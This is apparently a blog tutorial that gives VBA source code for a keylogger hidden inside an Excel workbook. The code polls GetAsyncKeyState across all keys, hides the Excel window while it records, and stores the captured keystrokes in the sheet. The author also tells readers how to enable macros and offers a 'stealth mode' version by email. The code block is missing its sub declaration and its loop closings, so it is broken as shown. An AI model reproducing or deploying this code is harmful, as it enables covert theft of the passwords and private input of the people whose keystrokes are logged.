Key loggers can be very sophisticated but this example demonstrates a very simple key logger built into an Excel file. Also demonstrated in this Excel VBA macro is how to capture key press activities from Windows API User32 dll.
Before I continue with the rest of this article I will mention that I have put together a full version of this Excel keystrokes logger with better key mapping then described below that can be downloaded from here, we will send you the Link to the FREE advanced Excel Keylogger to your Email now: write me a message an I will send it to you!
Now let's continue - From Excel open the VBA editor by pressing ALT+F11. In the properties window right click on the VBA project and add a new module:
Copy the code below into the module, the code been commented as we go a long to explain what it does:
'first we declare some variables that we are going to need later
Dim i, e As Long
Dim s As String
Dim b As Integer
Dim result As Long
'this declaration will allow us to call a function in the User32.dll that will tell us what key is pressed
Public Declare Function GetAsyncKeyState Lib "User32" (ByVal vKey As Long) As Long
'to run the key logger you will run the macro called loK
e = 1
b = 0
'we can hide the Excel application from view to hide the key logger
Application.Visible = False
'the amount of time the key logger will run for
f = Now() + TimeValue("00:00:59")
'this loop will stop when the time above run out
Do While Now() < f
'the GetAsyncKeyState function will return a value of -32767 for any key that is pressed
'we cycle thru all 255 possible keys to check which one has a value of -32767
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
'if we find a key that is pressed we attach to our string
If result = -32767 Then s = s + Chr$(i)
'every time we collect 100 characters we right them to a new column in the Excel sheet
If Len(s) = 100 Then
Cells(e, 1).Value = s
'each batch of 100 characters are written to a new row
e = e + 1
s = ""
'when the time we set above expires we write the remaing characters to a new row
Cells(e, 1).Value = s
s = ""
' we bring the Excel application to view so we can see the log of charaters
Application.Visible = True
The above macro will work in any Excel applications as long as macros are enabled. Macro settings are located in the Trust Center. However, if you work in an organization, the system administrator might have changed the default settings to prevent anyone from changing settings.
Important: When you change your macro settings in the Trust Center, they are changed only for the Office program that you are currently using. The macro settings are not changed for all your Office programs.
The following image is the Macro Settings area of the Trust Center.
:As you will see when you run this code the key log is very basic, you will be able to indentify characters straight away in some sections of the keyboard but other section the log will require some decoding. A bit more code could map these characters to something more reader friendly.
If the Excel key logger interest you and you want a more sophisticated version than the one described above you can download a complete working copy from here.
This version has all the coding done so you don't have to spend time on that and it works. It also has additional features such as the ability to run in stealth mode and few more bits and pieces. Plus the keyboard mapping is more advanced - this version can detect upper and lower case letters, all the numbers above the keyboard and other characters such as !@#$% etc...: Write me a message and I will send it to you!